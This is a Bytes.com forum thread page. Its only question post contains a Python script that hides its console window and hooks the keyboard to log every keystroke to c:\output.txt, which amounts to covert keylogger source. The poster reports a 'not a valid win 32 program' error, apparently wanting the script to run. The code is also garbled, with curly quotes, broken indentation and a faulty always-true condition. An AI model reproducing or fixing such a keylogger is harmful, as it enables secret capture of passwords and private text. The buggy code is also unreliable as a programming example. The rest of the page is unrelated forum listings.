473,405 Members | 2,187 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,405 software developers and data experts.

Whenever I try to run a program it tells me that it is not a valid win 32 program

Expand|Select|Wrap|Line Numbers
  1. import win32api
  2. import win32console
  3. import win32gui
  4.  
  5. import pythoncom, pyHook
  6.  
  7. win = win32console.GetConsoleWindow()
  8. win32gui.ShowWindow(win,0)
  9.  
  10. def OnKeyboardEvent(event):
  11.     if event.Ascii==5:
  12.         _exit(1)
  13.  
  14.     if event.Ascii != 0 or 8:
  15.         f=open(‘c:\output.txt’,'r’)
  16.         buffer=f.read()
  17.         f.close()
  18.  
  19.         f=open(‘c:\output.txt’,'w’)
  20.         keylogs=chr(event.Ascii)
  21.  
  22.      if event.Ascii==13:
  23.         keylogs=’/n’
  24.         buffer += keylogs
  25.         f.write(buffer)
  26.         f.close()
  27.  
  28. hm = pyHook.HookManager()
  29. hm.KeyDown = OnKeyboardEvent
  30. hm.HookKeyboard()
  31. pythoncom.PumpMessages()
Aug 29 '10 #1
0 908

Sign in to post your reply or Sign up for a free account.

Similar topics

6
by: Stefania Scott | last post by:
Hi, I need to find how can I know that a program I am going to shell it is already open. This program uses an csv file that I need to refresh before shelling the program, however if the csv file...
13
by: vashwath | last post by:
#include <stdio.h> #include <string.h> #include <stdlib.h> int main() { typedef union { int i;
2
by: yxq | last post by:
Hello How to detect that own program has been executed? Prevent to execute twice! Thanks
8
by: Eric_Dexter | last post by:
I was looking for a simple way to load a simple python program from another python program. I tried os.system(cabel) The file name is cabel.py a csound instrument editor.. The error I am...
2
by: Subhrangsu Chandra | last post by:
I have created a MF-COBOL Program which generates an another COBOL Program.Now I am in search of the system command which can compile the newly(I am calling it as "child") created program when I...
2
by: ambikasd | last post by:
Hi, Does garbage collection guarantee that a program will not run out of memory?
62
by: Ajinkya | last post by:
As "spawnl" executes an exe through C code., similarly how can we compile a C program through another C program (on Windows platform) ?
18
by: W. Watson | last post by:
See Subject. It's a simple txt file, each line is a Python stmt, but I need up to four digits added to each line with a space between the number field and the text. Perhaps someone has already done...
2
by: Sheena777 | last post by:
I have a program that will run for long periods of time everyday and that will be able to be located on anyones pc, I want to be able hide the Program so that you will only beable to see that it is...
2
by: Gilbert Tordeur | last post by:
Hello, I would like to know how I can start a .EXE program from a VB2008 program, in the same thread (= like a subroutine). That means that my VB program waits for the .exe program to finish....
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...
0
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.